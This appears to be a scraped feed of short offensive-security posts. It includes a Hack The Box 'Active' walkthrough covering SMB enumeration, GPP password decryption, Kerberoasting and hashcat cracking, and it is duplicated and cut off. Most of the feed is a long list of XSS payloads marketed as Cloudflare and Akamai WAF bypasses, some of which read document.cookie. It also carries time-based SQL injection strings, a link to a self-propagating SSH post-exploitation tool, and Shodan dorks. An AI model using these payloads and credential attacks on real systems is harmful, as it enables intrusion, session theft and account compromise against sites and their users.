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Summary of My Active Machine CTF notes for 10.10.10.100 with commands and examples:
1.Nmap Scan:
nmap -sV 10.10.10.100
- Identified critical ports like 53 (DNS), 88 (Kerberos), 139/445 (NetBIOS), and 389 (LDAP).
2.SMB Enumeration:
- Enum4linux for detailed information:
enum4linux -a 10.10.10.100
- SMBMap to check share permissions:
smbmap -H 10.10.10.100
3.Access and Download from Replication Share:
- Accessed via SMBClient and downloaded 'Groups.xml':
smbclient //10.10.10.100/Replication
smbmap -R Replication -H
10.10.10.100 -A Groups.txt
4.Decrypting Password in Groups.xml:
- Used gpp-decrypt for the encrypted password:
gpp-decrypt [encrypted_password]
5.Utilizing Credentials:
- Accessed SMB with the decrypted password:
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p [Decrypted_Password]
smbclient //10.10.10.100/Users -U 'active.htb\SVC_TGS%[Decrypted_Password]'
6.Kerberos Ticket Extraction and Cracking:
- Extracted Kerberos tickets:
GetUserSPNs.py -request -dc-ip 10.10.10.100 'active.htb/SVC_TGS' -save -outputfile GetUserSPNs.out
- Cracked tickets with Hashcat:
hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt
7.Root Access:
- Accessed admin share and retrieved 'root.txt':
```bash
smbclient //10.10.10.100/c$ -U 'active.htb\administrator%[Cracked_Password]'5 853
Nmap Scan:
bash
Copy code
nmap -sV 10.10.10.100
Identified critical ports like 53 (DNS), 88 (Kerberos), 139/445 (NetBIOS), and 389 (LDAP).
SMB Enumeration:
Enum4linux for detailed information:
bash
Copy code
enum4linux -a 10.10.10.100
SMBMap to check share permissions:
bash
Copy code
smbmap -H 10.10.10.100
Access and Download from Replication Share:
Accessed via SMBClient and downloaded 'Groups.xml':
bash
Copy code
smbclient //10.10.10.100/Replication
smbmap -R Replication -H 10.10.10.100 -A Groups.txt
Decrypting Password in Groups.xml:
Used gpp-decrypt for the encrypted password:
bash
Copy code
gpp-decrypt [encrypted_password]
Utilizing Credentials:
Accessed SMB with the decrypted password:
bash
Copy code
smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p [Decrypted_Password]
smbclient //10.10.10.100/Users -U 'active.htb\SVC_TGS%[Decrypted_Password]'
Kerberos Ticket Extraction and Cracking:
Extracted Kerberos tickets:
bash
Copy code
GetUserSPNs.py -request -dc-ip 10.10.10.100 'active.htb/SVC_TGS' -save -outputfile GetUserSPNs.out
Cracked tickets with Hashcat:
bash
Copy code
hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt
Root Access:
Accessed admin share and retrieved 'root.txt':
bash
Copy code
smbclient //10.10.10.100/c$ -U 'active.htb\administrator%[Cracked_Pa
5 853
Unleash Your API Potential! 🌟 Dive deep into JSON API security with our expert cheat sheet. Elevate your bug bounty game! #StayAheadOfTheCurve #APISecurityMasterclass
https://book.cipherops.tech/bug-bounty-notes/web-application/understanding-json-api-a-comprehensive-guide/api-security-cheat-sheet-part-7
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Unlock the Code to Cybersecurity Mastery! 🌐✨ Dive into my top 5 strategies for becoming an industry expert. Your journey to excellence starts now!
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Quick tip to find reflected xss by Coffinxp
1- python3 paramspider.py --domain domian.com
2- cat domain.com.txt | kxss | grep "< >" | tee unfiltered_param.txt
3- inject simple xss payload:
"><img src=x onerror=alert("XSS")>
—————————————————-
Payloads 💰
<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt${document.domain}>
<marquee+loop=1+width=0+onfinish='new+Functional\ert\1\``'>
<d3v/onauxclick=[2].some(confirm)>click
<x onauxclick=a=alert,a(domain)>click
q=1" type=image sr>c<=x one>ror<="alert> (alert')
<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
(Chrome only)
?id=1&id=2
⬇️
<input value="1,2">
?id="&id=onpointerrawupdate="a=confirm&id=a(1)
⬇️
<input value="", onpointerrawupdate="a=confirm, a(1)">
Payload:
%3Cmarquee%20loop=1%20width=%271%26apos;%27onfinish=self[al+ert](1)%3E%23leet%3C/marquee%3E
FOR CHROME:
%3Cx%20y=1%20z=%271%26apos;%27onclick=self[al%2Bert](1)%3E%23CLICK%20MEE
Akamai XSS Bypass:
Cloudflare XSS Bypass: <a href="j	a	v	asc
ri	pt:(a	l	e	r	t	(document.domain))">X</a>
<!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
</ScRiPt><img src=something onauxclick="new Function al\ert\xss\``">
"><a nope="%26quot;x%26quot;"onmouseover="Reflect.get(frames,'ale'+'rt')(Reflect.get(document,'coo'+'kie'))">
link=qwe"srcdoc="\u003ce<script%26Tab;src=//dom.xss>\u003ce</script%26Tab;e>
javascript:var a="ale";var b="rt";var c="()";decodeURI("<button popovertarget=x>Click me</button><hvita onbeforetoggle="+a+b+c+" popover id=x>Hvita</hvita>")
Angular 1.4.3 CSTI XSS Akamai WAF:
{{([].toString()).constructor.prototype.charAt=[].join;$eval(([].toString()).constructor.fromCodePoint([120],[61],[49],[125],[125],[125],[59],[97],[108],[101],[114],[116],[40],[49],[41],[47],[47]));}}
<details open ontoggle="{alert1}"></details>
Cloudflare WAF Bypass - XSS
(Still works - when only=1 didn’t)
<dETAILS%0aopen%0aonToGgle%0a%3d%0aa%3dprompt,a(origin)%20x>
Midnight hunting
payload: \u003cimg\u0020src\u003dx\u0020onerror\u003d\u0022confirm(document.domain)\u0022\u003e
Payload: <Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ==")>
Reflected Cross-Site Scripting (XSS) and HTML Injection
## Vulnerable url :- https[:]//exampledesk[.]example[.]com/helpdesk/logon.asp?URL=%22%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
## Vulnerable Paramter :- URL=
## Payload :- "></script><script>alert(document.cookie)</script>
Yet Another Cloudflare WAF Bypass - #XSS
<a"/onclick=(confirm)(origin)>Click Here!
Worked for me yesterday, quite well.
Another sql injection payload:
14)%20AND%20(SELECT%207415%20FROM%20(SELECT(SLEEP(10)))CwkU)%20AND%20(7515=7515
reflected XSS to RCE
Payload: "><img src=x onerror=alert(whoami)>
Cloudflare WAF Bypass ⚡️
<a"/onclick=(confirm)(origin)>Click Here!
Time sleep sql injection ⚡️
Payload: 'XOR(if(now()=sysdate(),sleep(33),0))OR'
🔖Akamai XSS WAF Bypass
( src,svg,autofocus,iframe,img,<> )
You use this payload
%22onmouseover=window[%27al%27%2B%27er%27%2B([%27t%27,%27b%27,%27c%27][0])](document[%27cooki%27%2B(['e','c','z'][0])]);%22
CloudFlare Bypass [XSS]
Payload :
<Svg Only=1 OnLoad=confirm(atob("Q2xvdWRmbGFyZSBCeXBhc3NlZCA6KQ=="))>
onscrollend payload for Chrome and Firefox
<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:50px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
XSS-Bypass Anatomy
Final payload after working hours on a bug bounty target w/ both XSS filters & WAF:
%0Ajavascript%3Ato%0ap%5B%27ale%27%2B%27rt%27%5D%28top%5B%27doc%27%2B%27ument%27%5D%5B%27dom%27%2B%27ain%27%5D%29%3B%0A/%0A/%0A
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
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SSH-Snake is a self-propagating, self-replicating, file-less script that automates the post-exploitation task of #SSH private key and host discovery.
https://github.com/MegaManSec/SSH-Snake
5 853
In the intricate tapestry of hacking, each thread is a line of code, weaving together to form a hidden story. It's a journey through the uncharted, where curiosity meets the mastery of skill, and every challenge is a step closer to revelation
5 853
Unlocking the Secrets of Secure API Design: Discover essential strategies in our latest guide. Dive into diverse authentication methods and their security impacts. Equip yourself with the knowledge to build robust and secure APIs. #APISecurity #CybersecurityTips #TechInsights
https://book.cipherops.tech/bug-bounty-notes/web-application/understanding-json-api-a-comprehensive-guide/api-security-cheat-sheet-part-6
5 853
Level up your security game with our Upload Function Cheat Sheet! 🚀 Perfect for bug bounty hunters and cybersecurity enthusiasts looking to master the intricacies of secure file uploads. Get ready to secure your digital space!
https://book.cipherops.tech/bug-bounty-notes/web-application/understanding-json-api-a-comprehensive-guide/api-security-cheat-sheet-part-5
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Some Shodan Dorks that might useful in Bug Bounty.
1. org:"http://target. com"
2. http.status:"<status_code>"
3. product:"<Product_Name>"
4. port:<Port_Number> “Service_Message”
5. port:<Port_Number> “Service_Name”
6. http.component:"<Component_Name>"
7. http.component_category:"<Component_Category>
8. http.waf:"<firewall_name>"
9. http.html:"<Name>"
10. http.title:"<Title_Name>"
11. ssl.alpn:"<Protocol>"
12. http.favicon.hash:"<Favicon_Hash>"
13. net:"<Net_Range>" (for e.g. 104.16.100.52/32)
14. http://ssl.cert.subject.cn:"<http://Domain .com>"
15. asn:"<ASnumber>"
16. hostname:"<hosthame>"
17. ip:"<IP_Address>"
18. all:"<Keyword>"
19. “Set-Cookie: phpMyAdmin”
20. “Set-Cookie: lang="
21. “Set-Cookie: PHPSESSID"
22. “Set-Cookie: webvpn”
23. “Set-Cookie:webvpnlogin=1"
24. “Set-Cookie:webvpnLang=en”
25. “Set-Cookie: mongo-express="
26. “Set-Cookie: user_id="
27. “Set-Cookie: phpMyAdmin="
28. “Set-Cookie: _gitlab_session”
29. “X-elastic-product: Elasticsearch”
30. “x-drupal-cache”
31. “access-control-allow-origin”
32. “WWW-Authenticate”
33. “X-Magento-Cache-Debug”
34. “kbn-name: kibana”
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Unlock the secrets of API security with Part 4 of our API Security Cheat Sheet! 🛡️ Dive into this comprehensive guide to master JSON API techniques and fortify your web applications. Perfect for bug bounty hunters and cybersecurity enthusiasts! #APISecurity #BugBounty #JSONAPI
https://book.cipherops.tech/bug-bounty-notes/web-application/understanding-json-api-a-comprehensive-guide/api-security-cheat-sheet-part-4
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